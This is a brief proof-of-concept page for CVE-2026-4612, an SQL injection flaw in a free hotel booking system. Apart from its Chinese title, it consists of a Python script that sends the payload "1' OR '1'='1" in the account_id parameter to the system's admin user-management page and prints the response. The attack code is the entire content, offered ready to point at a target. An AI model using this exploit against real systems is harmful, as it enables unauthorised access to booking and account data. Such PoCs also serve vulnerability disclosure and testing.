CVE-2026-4612 免费酒店预订系统SQL注入漏洞

# PoC for CVE-2026-4612 import requests target_url = "http://target.com/hotel/admin/mod_users/index.php" # The vulnerability is in the 'account_id' parameter payload = { "view": "edit", "id": "8", "account_id": "1' OR '1'='1" # Simple SQL Injection payload to test vulnerability } try: response = requests.get(target_url, params=payload, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL injection indicators.") print(response.text[:200]) # Print partial response else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[!] An error occurred:", e)